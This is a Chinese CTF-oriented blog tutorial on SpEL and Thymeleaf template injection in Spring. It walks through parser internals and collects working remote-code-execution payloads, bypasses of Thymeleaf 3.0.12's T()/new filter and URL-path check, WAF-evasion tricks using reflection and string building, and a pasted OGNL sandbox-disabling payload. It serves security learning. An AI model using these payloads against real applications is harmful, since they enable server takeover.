Diggid's Blog

SpEL & Thymeleaf 模板注入学习

字数统计: 6k阅读时长: 25 min
2021/03/16 Share

前言

在D3CTF 2021 Web的Happy_Valentine’s_Day这题中出现了SpEL注意,官方wp的师傅说这是一道签到题(太虐了:)

受这题的启发系统学习一下Java的SpEL注入,然后再回来分析Happy_Valentine’s_Day这道题

SpEL & Thymeleaf 基本语法

在学习SpEL模板注入+RCE之前,我们先了解一下SpEL是干啥用的,以及一些简单的语法,部分语法后面可能会用到

SpEL 简介

Spring表达式语言全称为“Spring Expression Language”,缩写为“SpEL”,类似于Struts2x中使用的OGNL表达式语言,能在运行时构建复杂表达式、存取对象图属性、对象方法调用等等,并且能与Spring功能完美整合,如能用来配置Bean定义。

表达式语言给静态Java语言增加了动态功能。

SpEL是单独模块,只依赖于core模块,不依赖于其他模块,可以单独使用。

说白了,和其他模板一样,方便操作,只不过SpEL是java风格的模板语言,必然会涉及到对应的接口和类,是一组对象相互作用的结果

SpEL 功能

1.基本表达式:字面量表达式、关系,逻辑与算数运算表达式、字符串连接及截取表达式、三目运算及Elivis表达式、正则表达式、括号优先级表达式;

2.类相关表达式:类类型表达式、类实例化、instanceof表达式、变量定义及引用、赋值表达式、自定义函数、对象属性存取及安全导航表达式、对象方法调用、Bean引用;

3.集合相关表达式:内联List、内联数组、集合,字典访问、列表,字典,数组修改、集合投影、集合选择;不支持多维内联数组初始化;不支持内联字典定义;

4.模板表达式

我们重点关注类相关表达式和模板表达式,后面构造模板注入payload时需要很多反射与类的操作

SpEL 工作原理

先简单举个例子,下面的程序会打印出Hello World!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

public class Test1 {
public static void main(String[] args) throws NoClassDefFoundError, ClassNotFoundException{

ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));
}
}

简单分析一下SpEL从解析器构建到表达式求值输出的全过程

  1. 创建解析器:由ExpressionParser接口表示解析器,提供SpelExpressionParser方法来实现

  2. 解析表达式:使用ExpressionParser的parseExpression方法来解析解析表达式

  3. 构造上下文(可省略):关于上下文的概念,其实可以理解为SpEL表达式要作用的对象。这个过程可以自定义变量、方法等。使用EvaluationContext接口的StandardEvaluationContext方法来构建。注册变量可以使用setVariable方法

  4. 赋值或取值:通过Expression接口的setValue方法可以赋值,getValue方法可以取值,也就是输出SpEL表达式的结果

SpEL 相关接口

ExpressionParser接口

表示解析器,实现该接口的类包括SpelExpressionParser,构造方法用于实例化一个解析器。ExpressionParser接口的parseExpression方法将字符串表达式转换为Expression对象,该方法有两个重载

1
2
3
4
public interface ExpressionParser {
Expression parseExpression(String expressionString) throws ParseException;
Expression parseExpression(String expressionString, ParserContext context) throws ParseException;
}

第二个重载的第二个参数需要传入ParserContext接口的对象,该接口用于定义字符串表达式是否是模板、模板的前缀与后缀。更简便的类是TemplateParserContext(prefix, suffix),直接可以设置前后缀。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void testParserContext() {
ExpressionParser parser = new SpelExpressionParser();
ParserContext parserContext = new ParserContext() {
@Override
public boolean isTemplate() {
return true;
}

@Override
public String getExpressionPrefix() {
return "#{";
}

@Override
public String getExpressionSuffix() {
return "}";
}
};
String template = "#{'Hello '}#{'World!'}";
Expression expression = parser.parseExpression(template, parserContext);
System.out.println(expression.getValue()); // 输出Hello World!
}

EvaluationContext接口

该接口用于构建上下文环境,包括SpEL语法和特性的使用限制,有两个类实现了该接口

  • StandardEvaluationContext:这个类是不安全的,他提供了完全的语法功能和特性,可以向该类的构造方法中传入rootObject用于构造根对象,在后续可以使用#root来引用
  • SimpleEvaluationContext:官方认为安全的类,限制了SpEL的一些语法特性,包括:T()(type references)、new对象(constructors)、bean的引用(bean references)。具体可以通过PropertyAccessor来设置不同的使用权限

image-20210323214605641

Expression接口

该接口表示表达式对象,由ExpressionParser#parseExpression生成,提供getValue方法用于获取表达式的值,setValue方法设置对象或变量的值,getValue的参数有几种形式:

1
<T> T getValue(EvaluationContext context, @Nullable Object rootObject, @Nullable Class<T> desiredResultType)

SpEL 语法

主要参考学习官方文档

Thymeleaf 常用语法

由于Thymeleaf大多嵌入在html中使用,所以这里简单介绍几个接下来可能会用到的语法

https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#messages

1.th:text命令和${}

1
th:text="${today}"

${variables}里面可以使用变量,也可以完全的使用SpEL语法,th:text作为标签的属性值来使用,比如:

1
<span th:text="${T(String).forName('java.lang.Runtime')}">any</span>

2.inlining text

[[${}]]这一坨可以直接写在标签内容里面,模板里的内容和${}一样

1
<span>[[${T(String).forName('java.lang.Runtime')}]]</span>

3.Thymeleaf 预处理

Thymeleaf有一个特性是Expression Preprocessing,和正常的模板多了一对双下划线__...__,预处理的部分会先执行,然后返回结果作为表达式的一部分继续处理。如

1
2
${selection.__${sel.code}__}
${selection.value}

SpEL & Thymeleaf 模板注入

说是SpEL模板注入,但SpEL模板也仅是一种表达式语言,放到web项目中,由兼容的模板引擎来解析SpEL。由于是Spring框架核心的表达式语言,所以这里重点分析Spring MVC\Spring Boot + Thymeleaf + SpEL情况下的模板注入。大部分题目和相关cve也都是基于Thymeleaf模板引擎的。不使用Thymeleaf的SpEL注入,会缺少一些Thymeleaf上下文内置的对象(Expression Basic\Utility Objects),所以可能在payload的构造上会有一些限制。

版本的坑

在构造RCE的payload之前,先说一下碰到的坑,我们前面知道T(java.lang.String)的操作可以获取java.lang.String的Class类实例。因此自然想到可以进一步通过forName()方法来获取其他类的Class实例,如

1
T(String).forName('java.lang.Runtime')

如果完全通过反射调用的话,相当于

1
String.class.forName('java.lang.Runtime')

但实际上,T(String)根本取不到forName方法,这和第二个反射调用是不一样的

先来看一下报错信息:

image-20210322101613626

报错信息告诉我们找不到java.lang.String的forName方法。可以猜测模板表达式获取类的Class实例利用的是ClassLoader来加载,获取方法可能是通过反射调用getMethod类似的方法。所以可以跟一下源码,找一下源码中出现反射调用获取方法的地方。

于是跟了一下源码,发现在expression.getValue()跟进去到ReflectiveMethodResolver.resolve方法,可以很明显的看到,问题的关键就是**getMethods()**方法。下图中可以看到type就是T(String)的结果,然后调用type.getMethods(),因此获取到的是String类的所有public方法,自然不存在forName。但是对于一般反射String.class,是Class类的实例,也是String类,所以它可以调用Class类的方法,也可调用String类的静态方法。

image-20210321212147300

image-20210322100846665

fuzz & 审计

黑盒情况下,先看有没有用户输入然后回显到页面上的内容,然后还需要fuzz一下来确认是否存在注入,知道注入的模板是什么

  • #{}:Spel默认模板

  • ${}:Thymeleaf可以使用SpEL语法的模板

  • [[${}]]:Thymeleaf的inlining text模板

有源码的情况下则需要关注几点:

  • 使用了不安全的context,也就是StandardEvaluationContext。

  • 用户可控的输入作为parseExpression的参数,或Thymeleaf模板中的内容

RCE payload

总结一下可以RCE的三个类,以及这三个类的基础payload,其他bypass手段无非就是绕过一些关键字或者被ban的字符

java.lang.Runtime

最常用的,直接给payload

1
T(java.lang.Runtime).getRuntime().exec('whoami')

java.lang.ProcessBuilder

跟过Runtime类的exec方法可以知道,最后是调用的ProcessBuilder类的start()方法来创建执行命令的shell进程的,payload

1
2
new java.lang.ProcessBuilder(new java.lang.String[]{'calc'}).start()
T(ProcessBuilder).getConstructor(T(String[])).newInstance(new Object[]{new String[]{'calc'}}).start()

javax.script.ScriptEngineManager

该类可以获取所有的JS引擎,然后在JS引擎中嵌入java的代码,可以解析java的代码。下面的代码用于获取所有的JS引擎名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void main(String[] args) {
ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> factories = manager.getEngineFactories();
for (ScriptEngineFactory factory: factories){
System.out.printf(
"Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
"Language version: %s%n" +
"Extensions: %s%n" +
"Mime types: %s%n" +
"Names: %s%n",
factory.getEngineName(),
factory.getEngineVersion(),
factory.getLanguageName(),
factory.getLanguageVersion(),
factory.getExtensions(),
factory.getMimeTypes(),
factory.getNames()
);
}
}

可以得到一坨名称

1
Names: [nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]

通过javax.script.ScriptEngineManager().getEngineByName(<ScriptEngineName>)获取js引擎,然后再调用引擎的eval方法来执行代码,payload

1
new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s)")

Thymeleaf 预处理注入

影响范围:存在org.thymeleaf:thymeleaf和org.thymeleaf:thymeleaf-spring5

  • 3.0.x - 3.0.11:T() 和 new可用
  • 3.0.12 (最新):可以绕过T() 和 new的过滤

由于3.0.12在org.thymeleaf.spring5.util包中添加了SpringStandardExpressionUtils,该类的containsSpELInstantiationOrStatic方法在预处理__${}__内的表达式时过滤了T()new,所以没法直接RCE,端点打在containsSpELInstantiationOrStatic方法跟着调试一下就可以分析出来了。以下是常见的payload形式

1
2
3
__${payload}__
__${payload}__::
__${payload}__::.

几种情况

总结概括一下:

  • 拼接的viewname中没有::,需要加上::
  • 返回值作为viewname的,通通不需要结尾的.
  • 返回值为void时,以LOOKUP_PATH作为viewname,会经过四步处理,结尾需要.
  • 需要注意URL包含viewname的情况(通常出现在返回值为void时)

情况1

1
2
3
4
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}

直接用这种形式的poc就可以了,::后面不需要.,从下面的分析可以知道

1
__${payload}__::

情况2

1
2
3
4
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}

那这个就不需要::

1
__${payload}__

情况3

controller的返回值为void的情况,该情况下,模板的名称使用的是路由路径名称,下面的例子是WCTF2020的一道题的情况

1
2
3
4
@DeleteMapping(value = "/{username}") //Delete方法或者GET都可以
public void deleteUser(@PathVariable(name = "username") String username){

}

payload中必须有.

1
__${payload}__::.

情况4

安全的情况

  • 使用@ResponsBody注解,返回return字面量值,不解析模板
1
2
3
4
5
@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
return "welcome :: " + section;
}
  • return的模板名以redirect:开头,不会解析表达式的内容
1
2
3
4
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //FP as redirects are not resolved as expressions
}

解析过程

前半部分:模板名称解析

访问Spring Boot的API时,都会经过的一个入口点org.springframework.web.servlet.DispatcherServlet#doDispatch()

该方法下有两个重要的节点

  • mv = ha.handle() :处理并获取模板名称
  • this.applyDefaultViewName() :处理模板名称为空的情况,也就是在controller中return为空的情况

image-20210324233202373

先跟进第一个过程,进入ha.handle()

image-20210324232858673

然后在handleInternal中继续跟进invokeHandlerMethod

image-20210325003125561

跟进后再继续跟进invocableMethod.invokeAndHandle

image-20210325003523023

这里比较关键,returnValue最后将作为模板对象返回给mv,也就是说这里的returnValue是否有值将决定后面this.applyDefaultViewName()的处理。

获取完模板信息之后返回,进入到上面说的第二个过程this.applyDefaultViewName(),当mv对象不为null且模板名view为空的时候,会进入getDefaultViewName,否则啥事没有。这就意味着,对于Controller方法有返回值的情况,不会进行viewname的处理,而对于返回值为void,即模板名为空的情况,则会进行以下viewname的处理,下面的处理就关乎到payload的结尾是否需要.号来防止截断

image-20210324233321647

然后一顿调用:this.getDefaultViewName() => this.viewNameTranslator.getViewName() => this.transformPath()

image-20210325004202482

transformPath()传进来的lookupPath就是模板的名称,然后去掉开头和结尾的/,并且StringUtils.stripFilenameExtension()方法会把最后一个点及其后的部分当做扩展名截取掉,也就是最后一个.xxx会被截去。所以在payload中我们需要**在最后添加.**来防止截取前面的payload。

后半部分:表达式处理

解析完名称后,进入this.processDispatchResult

image-20210324233438931

然后一顿调用:this.render() => view.render() => this.renderFragment()

image-20210324233636311

image-20210324233824496

image-20210324233843274

然后到renderFragment()后,有两个分支,如果模板名称中包含**::**则会继续调用parser.parseExpression()来解析表达式

image-20210324234342649

进入parser.parseExpression()中出现预处理,通过proprocess参数来判断是否调用StandardExpressionPreprocessor#preprocess()来进行预处理,对于片段表达式的处理,thymeleaf使用正则\_\_(.*?)\_\_截取表达式中的部分作为真正进行SpEL解析的部分,也就是__xxx__,所以xxx部分要替换为${...},至于其他前后缀的内容,并不重要,只需要保证__${}__的形式即可

最后调用expression.execute来执行表达式。

image-20220511222421516

image-20210324234952910

image-20210324235601214

所以要进入parser.parseExpression()进行预处理,必须在payload中存在::

对于模板名和URL的处理

在最新版本3.0.12,除了下面说到的T(new的过滤外,在进行完::的判断后,还会进行

image-20220512144536698

这个判断的目的是校验模板名称不能存在于URL中,这就对应着以下这种情况

1
2
3
4
5
// 当返回值为void时,直接从path中拿模板名,因此可能会出现URL==模板名的情况
@GetMapping("/doc/{lang}")
public void getDocument(@PathVariable String lang) {
//returns void, so view name is taken from URI
}

通过前面的分析我们知道,在DispatcherServlet#applyDefaultViewName方法中对返回值为void的情况,拿路由作为viewname进行.截断的处理,其中getViewName方法就是主要逻辑。该方法中,拿出request的LOOKUP_PATH属性作为viewname,那么我们追溯一下这个属性是在哪被setAttribute的

image-20220512150307047

image-20220512150438675

AbstractHandlerMethodMapping#getHandlerInternal中处理了,下断点跟踪一下,调用栈就是从doDispatch -> getHandler -> getHandlerInternal

image-20220512150634459

继续往下跟到getPathWithinApplication方法

image-20220512150721254

该方法调用了org.springframework.web.util.UrlPathHelper#getRequestUri,这个方法很经典,是Spring框架中处理URL的关键方法(其他关于路径绕过的洞可以留意一下)

image-20220512150812368

跟进decodeAndCleanUriString

image-20220512151000467

可以看到进行三个处理

  • removeSemicolonContent:去除;矩阵变量。原理很简单,直接给几个例子看看吧
1
2
3
4
/x;aaa -> /x
/x;/y -> /x/y
/x;aaa/y -> /x/y
/x;aaa/y;bbb -> /x/y

image-20220512151047419

  • decodeRequestString:URL解码
  • getSanitizedPath:将//变为/

image-20220512151525832

最后处理完的URL就作为LOOKUP_PATH。接下来看一下checkViewNameNotInRequest的判断逻辑

image-20220512151804738

我们的目的是让!requestURI.contains(vn)

  • vn就是我们前面一直在处理的东西,在这里再概括一下(前提都是当返回值为void时)
    • 从LOOKUP_PATH中拿出来作为vn,LOOKUP_PATH会经过以下处理
      • removeSemicolonContent
      • decodeRequestString
      • getSanitizedPath
    • 得到LOOKUP_PATH后还会进行.的截断处理
  • requestURI是request.getRequestURI()(注意区别),因此拿到的URL没有经过任何处理
  • 利用上述差异,我们需要构造让vn增量的差异来绕过
    • 利用removeSemicolonContent
    • 利用getSanitizedPath

因此可以构造如下bypass payload

1
2
3
/doc;/__${T (Runtime).getRuntime().exec("open -a Calculator.app")}__::.

/doc//__${T (Runtime).getRuntime().exec("open -a Calculator.app")}__::.

对于返回值不为void,但是return的viewname也可能出现和URL一样的情况,思路也差不多。只不过不会经过上面的四步处理了。需要找一些逻辑上的错误。

绕过waf

在测试Thymeleaf最新版本3.0.12时发现上面几个常见的poc都打不通,poc里的SpEL表达式都是下面这种没有变化的形式

1
T(java.lang.Runtime).getRuntime().exec('calc')

调试了一下发现,在最后执行表达式实现RCE的execute()方法中做了waf过滤,调用栈如下

image-20210325131600327

过滤点在org.thymeleaf.spring5.util.SpringStandardExpressionUtils#containsSpELInstantiationOrStatic方法,主要是过滤了 T(new 。具体细节可以自己跟着看看

但实际上这个waf是很容易就可以绕过的,用到了下面总结的#request.getClass().getClassLoader()方法,payload如下:

1
?lang=__${#request.getClass().getClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')}__::x.

这个方法可以绕过上面说到的场景一和场景三,因为这两个都是将传入的参数拼接起来作为模板名去处理,而场景二就有点不一样,其返回值是void,所以是使用的路由路径/{username}作为模板名来处理。用poc直接打会报错

1
2
报错信息:
View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.

说明路径中出现可执行的SpEL表达式是不允许的,跟着调一下

发现在renderFragment()中的SpringRequestUtils.checkViewNameNotInRequest(viewTemplateName, request);对路径中是否有表达式做了检查,其检查了requestURI中是否包含vn,而vn和requestURI都是从StringUtiles.pack()获取的

image-20210325134437210

image-20210325134451420

尝试各种特殊字符绕了一下看看会不会出现什么解析差异导致的绕过,都没成功qwq

切入点 & ClassLoader

所谓切入点,其实就是利用java反射获取对象或直接构造对象的方式来构造出可以RCE的类。

T() 或 new

裸的情况下,直接T()或者new出上面说到的几个对象就可以了,或者最最简单的"xxx".getClass()也可以。

#this#root

一般情况下,在Thyeleaf中是可以直接获取到this对象和根对象的。在裸的SpEL中不一定能获取到,除非用StandardEvaluationContext方法设置了根对象。

Thymeleaf Basic Objects

具体细节可参考https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#base-objects

Base objects

  • #ctx:上下文对象,org.thymeleaf.context.WebEngineContext类的实例。实现了org.thymeleaf.context.IContext or org.thymeleaf.context.IWebContext这两个接口。

  • #vars & #root:等同于#ctx

官方文档的#locale对象是java.util.Locale类直接实例化的,不存在ClassLoader

Web context objects

在web环境下可以获取:

  • #requestjavax.servlet.http.HttpServletRequest类的

  • #sessionjavax.servlet.http.HttpSession类的

  • #servletContextjavax.servlet.ServletContext类的

Thymeleaf Utility Objects

常用的内置Utility对象,有一坨

  • #execInfo

  • #messages

  • #uris

  • #conversions

  • #Dates

  • #calendars

#引用对象有一个神秘操作,这里就体现出现来,经过一些本地测试,发现#this#root#ctx在使用.class操作时返回的null,而使用.getClass()操作时返回正确的Class类实例,也就是说

1
null == #this.class != #this.getClass()

但是其他的对象引用#request.class == #request.getClass()。纯测试发现的qaq

如果有题目waf不干净,只过滤了getClass(),那么可以尝试.class来绕绕

但是不能像反射一样String.class这样用

其他内置对象

使用spel的话肯定存在org.springframework的包,包下有一堆类都可以拿来用

1
T(org.springframework.expression.Expression).getClassLoader()

或者ctf题目中自己打的包

1
T(com.ctf.controller.Demo).getClassLoader()

拿到对象的目的就是为了获取Class类实例,得到Class类实例后,就可以调用下面两个方法来加载构造RCE的类

  • forName()
  • getClassLoader.loadClass()

命令回显

下面是几个比较方便的读回显的类和方法

1
2
3
4
new java.util.Scanner(InputStream).next()
new java.util.Scanner(InputStream).nextLine()

new java.io.BufferedReader(new java.io.InputStreamReader(InputStream)).readLine()

反射调用

有时候waf会正则一些java的关键字

1
2
3
- java.+lang
- Runtime
- exec.*\(

可以拿反射或者javax.script.ScriptEngineManager来绕,过滤的关键字都被当做字符串拼接了

1
class.getMethd('exec',String[].class).invoke(class.getMethod('getRuntime').invoke(null,null), new String[]{'calc'})

再把class换成T(String).forName('java.la'+'ng.Runtime')xxx.class换成T(xxx)

1
T(String).forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(null), new String[]{"calc"})

同样还可以用ProcessBuilder.start()来构造

1
T(ProcessBuilder).getConstructor(T(String[])).newInstance(new Object[]{new String[]{'calc'}}).start()

还有 javax.script.ScriptEngineManager

1
T(String).forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("javascript").eval("s='calc';java.lan"+"g.Run"+"time.getRun"+"time().ex"+"ec(s);")

request对象(外部可控)

这个和flask的SSTI中request外带参数的思路是一样的。这里总结一下request对象的几个可以外带参数的方法,更多方法

  • getHeader(name)
  • getDateHeader(name)
  • getHeaders()
  • getCookies():getCookies()[0].getName()或getCookies()[0].getValue()
  • getHeaderNames()
  • getRequestedSessionId():只能设置一个
  • getParameter(name):GET还是POST或者其他方法,取决于controller部分的@Xxxmapping
  • getParameterValues(name)

…除此之外还有很多方法可以用,并且外部可控的不只有request对象,session对象也是可以的

这个方法比较万能,可以bypass一些关键字的过滤、引号过滤等,假如有这样的waf

1
2
3
4
private boolean filter(String name) {
String blacklist = ".*(java\\.lang|Process|Runtime|exec|org\\.springframework|org\\.thymeleaf|javax\\.|eval|concat|write|read|forName|param|java\\.io|getMethod|String|T\\(|new).*";
return Pattern.matches(blacklist, name);
}

下面的payload可以绕过

1
2
3
#ctx.getClass().getClassLoader().loadClass(#request.getParameter(1)).getDeclaredMethod(#request.getParameter(2),#ctx.getClass().getClassLoader().loadClass(#request.getParameter(3))).invoke(#ctx.getClass().getClassLoader().loadClass(#request.getParameter(1)).getDeclaredMethod(#request.getParameter(4)).invoke(null),#request.getParameter(5))

?1=java.lang.Runtime&2=exec&3=java.lang.String&4=getRuntime&5=calc

构造字符串

过滤引号的时候可能需要构造我们想要的字符串

request对象带入字符串

就是上面介绍request对象说的方法

String.replace()

首先我们要先想办法得到任意String,大概有以下方法

  • T().getName()

  • #request.getMethod()

  • #request.BASIC_AUTH

反正可以得到字符串的方法或属性都可以拿来用,然后用[]随便取一个字符,再使用replace替换成任意字符即可

1
T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,105) //回显hi

不给用+就用concat连

1
T(String).getName()[0].replace(106,104).concat(T(String).getName()[0].replace(106,105))
1
2
3
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#access=#bean.get("memberAccess")).(#bean.setBean(#access)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#cmd={'whoami'}).(#execute.exec(#cmd))}

(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))

Character.toString()

先获取Character类,然后调用tostring()

1
${T(Character).toString(104)}

String类生成动态字符

当系统命令被过滤的可以用

1
new String(new byte{99,97,116,32,47,102,108,97,103}) // cat /flag

参考

SpEL官方文档

Thymeleaf官方文档

参考文档1

有趣的SpEL注入-何止

Sprint Boot中使用request对象的几种方法

ruilin师傅的

https://juejin.cn/post/6844903779519725575

https://xz.aliyun.com/t/8568#toc-2

CATALOG
  1. 1. 前言
  2. 2. SpEL & Thymeleaf 基本语法
    1. 2.1. SpEL 简介
    2. 2.2. SpEL 功能
    3. 2.3. SpEL 工作原理
    4. 2.4. SpEL 相关接口
      1. 2.4.1. ExpressionParser接口
      2. 2.4.2. EvaluationContext接口
      3. 2.4.3. Expression接口
    5. 2.5. SpEL 语法
    6. 2.6. Thymeleaf 常用语法
  3. 3. SpEL & Thymeleaf 模板注入
    1. 3.1. 版本的坑
    2. 3.2. fuzz & 审计
    3. 3.3. RCE payload
      1. 3.3.1. java.lang.Runtime
      2. 3.3.2. java.lang.ProcessBuilder
      3. 3.3.3. javax.script.ScriptEngineManager
    4. 3.4. Thymeleaf 预处理注入
      1. 3.4.1. 几种情况
      2. 3.4.2. 解析过程
        1. 3.4.2.1. 前半部分:模板名称解析
        2. 3.4.2.2. 后半部分:表达式处理
        3. 3.4.2.3. 对于模板名和URL的处理
      3. 3.4.3. 绕过waf
    5. 3.5. 切入点 & ClassLoader
      1. 3.5.1. T() 或 new
      2. 3.5.2. #this 或 #root
      3. 3.5.3. Thymeleaf Basic Objects
      4. 3.5.4. Thymeleaf Utility Objects
      5. 3.5.5. 其他内置对象
    6. 3.6. 命令回显
    7. 3.7. 反射调用
    8. 3.8. request对象(外部可控)
    9. 3.9. 构造字符串
      1. 3.9.1. request对象带入字符串
      2. 3.9.2. String.replace()
      3. 3.9.3. Character.toString()
      4. 3.9.4. String类生成动态字符
  4. 4. 参考